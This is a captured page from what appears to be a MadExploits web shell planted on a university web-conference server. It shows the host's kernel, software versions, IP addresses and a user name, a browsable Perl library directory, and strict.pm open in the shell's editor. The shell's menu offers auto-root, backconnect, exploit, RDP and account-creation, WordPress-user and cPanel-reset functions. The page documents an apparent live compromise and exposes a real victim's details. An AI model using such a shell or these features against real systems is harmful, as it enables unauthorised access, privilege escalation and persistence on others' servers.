Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.223.125.226
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl-base /
[ HOME SHELL ]
Name
Size
Permission
Action
Carp
[ DIR ]
drwxr-xr-x
Exporter
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
Hash
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
List
[ DIR ]
drwxr-xr-x
Scalar
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
auto
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AutoLoader.pm
5.36
KB
-rw-r--r--
Carp.pm
24.79
KB
-rw-r--r--
Config.pm
3.2
KB
-rw-r--r--
Config_git.pl
409
B
-rw-r--r--
Config_heavy.pl
52.96
KB
-rw-r--r--
Cwd.pm
17.24
KB
-rw-r--r--
DynaLoader.pm
10.18
KB
-rw-r--r--
Errno.pm
4.82
KB
-rw-r--r--
Exporter.pm
2.31
KB
-rw-r--r--
Fcntl.pm
2.11
KB
-rw-r--r--
FileHandle.pm
2.06
KB
-rw-r--r--
IO.pm
469
B
-rw-r--r--
POSIX.pm
19.87
KB
-rw-r--r--
SelectSaver.pm
344
B
-rw-r--r--
Socket.pm
13.54
KB
-rw-r--r--
Symbol.pm
2.05
KB
-rw-r--r--
XSLoader.pm
3.87
KB
-rw-r--r--
attributes.pm
3
KB
-rw-r--r--
base.pm
8.7
KB
-rw-r--r--
bytes.pm
447
B
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
constant.pm
5.6
KB
-rw-r--r--
feature.pm
4.7
KB
-rw-r--r--
fields.pm
4.89
KB
-rw-r--r--
integer.pm
172
B
-rw-r--r--
lib.pm
2.23
KB
-rw-r--r--
locale.pm
3.34
KB
-rw-r--r--
overload.pm
4.34
KB
-rw-r--r--
overloading.pm
964
B
-rw-r--r--
parent.pm
460
B
-rw-r--r--
re.pm
8.5
KB
-rw-r--r--
strict.pm
1.57
KB
-rw-r--r--
utf8.pm
313
B
-rw-r--r--
utf8_heavy.pl
26.66
KB
-rw-r--r--
vars.pm
1.12
KB
-rw-r--r--
warnings.pm
25.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : strict.pm
package strict; $strict::VERSION = "1.11"; my ( %bitmask, %explicit_bitmask ); BEGIN { # Verify that we're called correctly so that strictures will work. # Can't use Carp, since Carp uses us! # see also warnings.pm. die sprintf "Incorrect use of pragma '%s' at %s line %d.\n", __PACKAGE__, +(caller)[1,2] if __FILE__ !~ ( '(?x) \b '.__PACKAGE__.' \.pmc? \z' ) && __FILE__ =~ ( '(?x) \b (?i:'.__PACKAGE__.') \.pmc? \z' ); %bitmask = ( refs => 0x00000002, subs => 0x00000200, vars => 0x00000400, ); %explicit_bitmask = ( refs => 0x00000020, subs => 0x00000040, vars => 0x00000080, ); my $bits = 0; $bits |= $_ for values %bitmask; my $inline_all_bits = $bits; *all_bits = sub () { $inline_all_bits }; $bits = 0; $bits |= $_ for values %explicit_bitmask; my $inline_all_explicit_bits = $bits; *all_explicit_bits = sub () { $inline_all_explicit_bits }; } sub bits { my $bits = 0; my @wrong; foreach my $s (@_) { if (exists $bitmask{$s}) { $^H |= $explicit_bitmask{$s}; $bits |= $bitmask{$s}; } else { push @wrong, $s; } } if (@wrong) { require Carp; Carp::croak("Unknown 'strict' tag(s) '@wrong'"); } $bits; } sub import { shift; $^H |= @_ ? &bits : all_bits | all_explicit_bits; } sub unimport { shift; if (@_) { $^H &= ~&bits; } else { $^H &= ~all_bits; $^H |= all_explicit_bits; } } 1; __END__
Close
